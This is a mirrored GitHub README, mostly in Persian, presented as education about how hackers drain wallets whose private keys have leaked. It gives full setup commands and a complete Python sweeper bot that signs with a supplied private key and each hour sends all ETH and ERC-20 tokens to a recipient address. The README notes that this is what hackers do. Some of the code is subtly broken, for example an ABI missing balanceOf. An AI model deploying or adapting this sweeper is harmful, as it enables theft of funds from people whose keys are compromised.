Giter Site home page Giter Site logo

34btc66 / flashbots Goto Github PK

View Code? Open in Web Editor NEW

This project forked from xoneiros/flashbots

0.0 0.0 0.0 37 KB

تئوری فلش بات ها را یادبگیرید و بدانید یک هکر بعد از داشتن پرایویت کی شما میتواند چه کارهایی انجام دهد

Python 100.00%

flashbots's Introduction

**این ریپازیتوری صرفا جنبه آموزشی دارد**

💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥ا

برای مشاهده نسخه دو اینجا کلیک کنید

💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥💥ا

❗❗❗👈👈 اگر برای بار اول است که این صفحه را مشاهده میکنید به سراغ نسخه شماره دو نروید! مقداری پیگیدچی دارد که ابتدا باید با این مفاهیم اشنا شوید

**بار ها پیش آمده است که والت هایی را دیده ایم که توسط هکر ها ، هک شده اند و موجودی آنها خالی شده است ، بعدا هر واریزی که به آن والت انجام شده سریعا توسط هکر از والت خارج شده است**

**در اینجا بررسی میکنیم این عمل چگونه شکل میگیره و هکر دقیقا چیکار میکنه ، در کنار این توضیحات شما با یکی از ابزار های موجود در این زمینه اشنا میشید**

image

**Warning: This tutorial and code are for educational purposes only. You are responsible for any use of this code. Please do not test these codes on your main wallet.**

هشدار این اموزش و این کد ها صرفا برای یادگیری میباشند ، مسئولیت هرگونه استفاده با شما میباشد | لطفا این کدهارا روی والت اصلی خود تست نکنید

ربات برداشت خودکار برای اتریوم و توکن‌های ERC-20

این اسکریپت اتوماتیک اتریوم و توکن‌های ERC-20 را از یک کیف پول به آدرس مقصد می‌فرستد و هر ساعت موجودی کیف پول را چک می‌کند. بعد از هر تراکنش هم به کمک IFTTT یک اعلان می‌فرستد. مکانیزم این ربات برای ارسال توکن های اصلی یا همان گس به این شکل است که ابتدا با api سایت کوینگکو قیمت اترویم را حساب میکند و سپس مقدار کس را به دست می اورد ، بعد از به دست آمدن گس مقدار گس را از موجودی توکن اصلی کم میکند و بقیه موجود را به توکن والت مقصد ارسال میکند

این اسکریپت میتواند ترتیب و اولویت ارسال را نیز را درک کنید ، یعنی شما میتوانید به اسکریپت تعریف کنید که ابتدا توکن های فرعی را به والت مقصد ارسال کند ( کاری که هکر ها میکنند ) بعد از ارسال توکن های فرعی ترکن گس را ارسال کند !

در اصل هدف از ارائه این فایل ها و نحوه کار آنها این است که شما بدانید ، اگر امنیت خود را رعایت نکنید ، در صورت لو رفتن پرایوت کی شما هیچ شانسی در مقابل یک هکر حرفه ای ندارد ، بهترین راه این است تمامی موارد امنیتی مربوط به والت خود را رعایت کنید تا درگیر این مشکلات نشوید

در زیر بصورت کامل و مرحله به مرحله میتوانید نحوه کار یکی از این ربات هارا ببینید و درک کنید

پیش‌نیازها

  1. پایتون 3.x روی سیستم شما نصب باشد.
  2. نصب کتابخانه‌های Web3.py، Requests و Schedule.
  3. داشتن شناسه پروژه Infura و کلید API Etherscan.
  4. حساب کاربری IFTTT برای دریافت اعلان‌ها.

تنظیمات

مرحله 1: نصب پایتون

برای نصب پایتون در محیط SSH لینوکس:

sudo apt update
sudo apt install python3 python3-pip

مرحله 2: نصب کتابخانه‌های مورد نیاز

pip3 install web3 requests schedule

مرحله 3: دانلود فایل از گیت‌هاب

ابتدا با git مخزن گیت‌هاب را کلون کنید. (فرض می‌کنیم مخزن شما در آدرس https://github.com/YOUR_GITHUB_REPO قرار دارد):

git clone https://github.com/xONEIROS/flashbots.git
cd flashbots

مرحله 4: جایگزینی موارد مورد نیاز

فایل اسکریپت را باز کنید و موارد زیر را با مقادیر واقعی جایگزین کنید:

infura_url = 'https://mainnet.infura.io/v3/YOUR_INFURA_PROJECT_ID'
address = 'YOUR_WALLET_ADDRESS'
private_key = 'YOUR_PRIVATE_KEY'
recipient_address = 'RECIPIENT_WALLET_ADDRESS'
etherscan_api_key = 'YOUR_ETHERSCAN_API_KEY'
ifttt_event_name = 'YOUR_EVENT_NAME'
ifttt_key = 'YOUR_IFTTT_KEY'

مرحله 5: گرفتن لینک‌های API

مرحله 6: اجرای اسکریپت در یک اسکرین جدید

برای اجرای اسکریپت در یک اسکرین جدید تا در پس‌زمینه اجرا شود:

ابتدا اسکرین را باز کنید:

screen -S flashbots

سپس اسکریپت را اجرا کنید:

python3 flashbots.py

برای خارج شدن از اسکرین بدون بستن آن:

Ctrl + A سپس D

برای برگشت به اسکرین:

screen -r flashbots

کد

1. وارد کردن کتابخانه‌ها

import time
import requests
from web3 import Web3
import schedule

2. اتصال به شبکه اتریوم

infura_url = 'https://mainnet.infura.io/v3/YOUR_INFURA_PROJECT_ID'
web3 = Web3(Web3.HTTPProvider(infura_url))

3. تنظیم اطلاعات کیف پول و API

address = 'YOUR_WALLET_ADDRESS'
private_key = 'YOUR_PRIVATE_KEY'
recipient_address = 'RECIPIENT_WALLET_ADDRESS'
etherscan_api_key = 'YOUR_ETHERSCAN_API_KEY'

4. تنظیم اعلان‌های IFTTT

ifttt_event_name = 'YOUR_EVENT_NAME'
ifttt_key = 'YOUR_IFTTT_KEY'
ifttt_url = f'https://maker.ifttt.com/trigger/{ifttt_event_name}/with/key/{ifttt_key}'

5. تابع ارسال اعلان IFTTT

def send_ifttt_notification(value1, value2, value3):
    data = {'value1': value1, 'value2': value2, 'value3': value3}
    requests.post(ifttt_url, json=data)

6. تابع دریافت قیمت اتریوم

def get_eth_price():
    response = requests.get('https://api.coingecko.com/api/v3/simple/price?ids=ethereum&vs_currencies=usd')
    data = response.json()
    return data['ethereum']['usd']

7. تابع دریافت قراردادها و موجودی توکن‌ها

def get_token_contracts(wallet_address):
    url = f"https://api.etherscan.io/api?module=account&action=tokenbalance&address={wallet_address}&tag=latest&apikey={etherscan_api_key}"
    response = requests.get(url).json()
    tokens = {}
    for token in response.get('result', []):
        token_address = token['contractAddress']
        token_symbol = token['symbol']
        tokens[token_symbol] = token_address
    return tokens

8. تابع ارسال اتریوم و توکن‌ها

def send_eth_and_tokens():
    eth_price = get_eth_price()
    balance = web3.eth.get_balance(address)
    balance_in_usd = (balance / 10**18) * eth_price
    
    if balance_in_usd > 5:
        gas_price = web3.eth.gas_price
        gas_limit = 21000
        amount = balance - (gas_price * gas_limit)
        nonce = web3.eth.getTransactionCount(address)
        tx = {
            'nonce': nonce,
            'to': recipient_address,
            'value': amount,
            'gas': gas_limit,
            'gasPrice': gas_price
        }
        signed_tx = web3.eth.account.signTransaction(tx, private_key)
        tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)
        print(f'ETH sent with hash: {web3.toHex(tx_hash)}')
        send_ifttt_notification('ETH Sent', web3.toHex(tx_hash), f'Amount: {amount / 10**18} ETH')

        tokens = get_token_contracts(address)
        erc20_abi = [
            {
                'constant': False,
                'inputs': [
                    {'name': '_to', 'type': 'address'},
                    {'name': '_value', 'type': 'uint256'}
                ],
                'name': 'transfer',
                'outputs': [{'name': '', 'type': 'bool'}],
                'type': 'function'
            }
        ]
        
        for token_name, token_address in tokens.items():
            contract = web3.eth.contract(address=Web3.toChecksumAddress(token_address), abi=erc20_abi)
            token_balance = contract.functions.balanceOf(address).call()
            if token_balance > 0:
                nonce += 1
                tx = contract.functions.transfer(recipient_address, token_balance).buildTransaction({
                    'chainId': 1,
                    'gas': 70000,
                    'gasPrice': gas_price,
                    'nonce': nonce
                })
                signed_tx = web3.eth.account.signTransaction(tx, private_key)
                tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)
                print(f'{token_name} sent with hash: {web3.toHex(tx_hash)}')
                send_ifttt_notification(f'{token_name} Sent', web3.toHex(tx_hash), f'Amount: {token_balance / 10**18} {token_name}')
    else:
        print("Balance is less than $5. No transaction made.")

9. زمان‌بندی وظیفه

schedule.every().hour.do(send_eth_and_tokens)

while True:
    schedule.run_pending()
    time.sleep(1)

استفاده

  1. مطمئن شوید که تمام کتابخانه‌های مورد نیاز نصب شده‌اند.

  2. مقادیر جایگزین را با اطلاعات واقعی کیف پول و API خود جایگزین کنید.

  3. اسکریپت را اجرا کنید:

    python main.py

اسکریپت هر ساعت یک‌بار موجودی کیف پول را چک می‌کند و در صورت بیشتر بودن از 5 دلار، وجوه را منتقل می‌کند و یک اعلان می‌فرستد.

##حتماً کلیدهای خصوصی و اطلاعات حساس خود را ایمن نگه دارید. اگر سوالی داشتید میتوانید در بخش issues مطرح کنید

flashbots's People

Contributors

xoneiros avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.